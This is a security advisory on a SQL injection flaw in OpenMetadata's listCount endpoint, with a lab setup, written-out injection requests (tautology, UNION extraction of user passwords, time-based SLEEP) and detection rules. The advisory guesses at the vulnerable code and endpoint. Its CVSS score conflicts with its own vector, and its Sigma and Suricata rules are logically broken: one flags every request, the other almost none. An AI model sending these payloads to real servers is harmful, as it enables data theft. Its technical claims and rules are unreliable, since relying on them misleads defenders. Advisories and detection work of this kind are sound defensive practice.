CVE-2025-50466

Executive Summary

CVE-2025-50466 is a critical SQL Injection vulnerability affecting OpenMetadata versions up to and including 1.4.4. The flaw resides in the listCount function within the TestDefinitionDAO interface. An unauthenticated attacker can manipulate the entityType parameter to inject arbitrary SQL commands, leading to unauthorized extraction of sensitive data from the backend database. With a CVSS score of 7.1, this vulnerability poses a significant threat to data confidentiality and system integrity. No public proof-of-concept (PoC) or patch is currently available, making it a high-priority target for both attackers and defenders.

Supply Chain & Package Security

OpenMetadata is a Java-based application, typically distributed as a Docker image or via direct JAR files. The vulnerability exists in the core application code, not in a third-party package. However, organizations using OpenMetadata should verify their deployment source and ensure no compromised versions are in use. The lack of a patch means that any deployment of OpenMetadata <=1.4.4 is at risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): None (N) – No data modification capability.
• Availability (A): Low (L) – Potential for denial of service via resource exhaustion.

Threat Level: High. The combination of network exploitability, low complexity, and no required privileges makes this a severe risk for any exposed OpenMetadata instance.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the listCount method of the TestDefinitionDAO interface. The entityType parameter is directly concatenated into a SQL query without proper sanitization or parameterization. The vulnerable code path likely resembles:

// Vulnerable pseudo-code
String query = "SELECT COUNT(*) FROM test_definitions WHERE entity_type = '" + entityType + "'";

An attacker can inject SQL by providing a malicious entityType value, such as:

' OR '1'='1' --

This would result in the query:

SELECT COUNT(*) FROM test_definitions WHERE entity_type = '' OR '1'='1' --'

The injection allows the attacker to bypass the intended WHERE clause and potentially extract data from other tables using UNION-based or blind SQL injection techniques.

Vulnerable vs. Patched Code

Vulnerable Code (OpenMetadata <=1.4.4):

// TestDefinitionDAO.java (vulnerable)
public int listCount(String entityType) {
    String sql = "SELECT COUNT(*) FROM test_definitions WHERE entity_type = '" + entityType + "'";
    // Execute query
}

Patched Code (Hypothetical fix):

// TestDefinitionDAO.java (patched)
public int listCount(String entityType) {
    String sql = "SELECT COUNT(*) FROM test_definitions WHERE entity_type = ?";
    // Use prepared statement with parameterized query
    PreparedStatement ps = connection.prepareStatement(sql);
    ps.setString(1, entityType);
    // Execute query
}

The fix involves using a parameterized query (prepared statement) to ensure the entityType value is treated as data, not executable SQL.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy OpenMetadata 1.4.4 using Docker:

   docker run -d -p 8585:8585 openmetadata/openmetadata-server:1.4.4
   

2. Access the web interface at http://localhost:8585.

Exploitation Steps:

1. Identify the vulnerable endpoint. The listCount function is likely exposed via an API endpoint such as:

   GET /api/v1/testDefinitions/listCount?entityType=test
   

2. Inject SQL via the entityType parameter:

   GET /api/v1/testDefinitions/listCount?entityType=' OR '1'='1' --
   

3. Use UNION-based injection to extract data:

   GET /api/v1/testDefinitions/listCount?entityType=' UNION SELECT username,password FROM users --
   

4. For blind injection, use time-based payloads:

   GET /api/v1/testDefinitions/listCount?entityType=' OR IF(1=1,SLEEP(5),0) --
   

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual entityType parameters containing SQL keywords (e.g., OR, UNION, SELECT, SLEEP).
• Look for repeated requests to /api/v1/testDefinitions/listCount with varying entityType values.
• Use WAF rules to block SQL injection patterns.

Hunting:

• Search logs for entityType values containing single quotes (') or SQL comments (--).
• Correlate with database error messages indicating SQL syntax errors.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /api/v1/testDefinitions/listCount with suspicious entityType parameters.
  • Database error messages in logs (e.g., SQL syntax, unclosed quotation mark).
• File:
  • Modified or unexpected database dump files.
• System:
  • Unusual database connections from the OpenMetadata server.
  • High CPU or memory usage due to time-based injection attempts.

Detection Engineering

YARA Rule

rule CVE_2025_50466_SQLi_OpenMetadata {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-50466 in OpenMetadata"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50466"
    strings:
        $s1 = "entityType=" nocase
        $s2 = "' OR " nocase
        $s3 = "UNION SELECT" nocase
        $s4 = "SLEEP(" nocase
        $s5 = "1=1" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against OpenMetadata CVE-2025-50466
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the listCount endpoint in OpenMetadata
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'entityType='
            - "' OR "
            - 'UNION SELECT'
            - 'SLEEP('
            - '1=1'
    condition: selection
falsepositives:
    - Legitimate use of special characters in entityType (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50466 OpenMetadata SQL Injection Attempt"; flow:to_server; content:"entityType="; http_uri; content:"' OR "; http_uri; distance:0; content:"UNION SELECT"; http_uri; distance:0; content:"SLEEP("; http_uri; distance:0; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate any OpenMetadata 1.4.4 instances from untrusted networks.
2. Apply a WAF rule to block SQL injection patterns in the entityType parameter.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Upgrade to a patched version once available (currently UNKNOWN).
• If no patch is forthcoming, consider migrating to an alternative data catalog solution.
• Implement input validation and parameterized queries in the application code.

Workaround:

• Disable the listCount endpoint if not essential, or restrict access via firewall rules.

Valters IT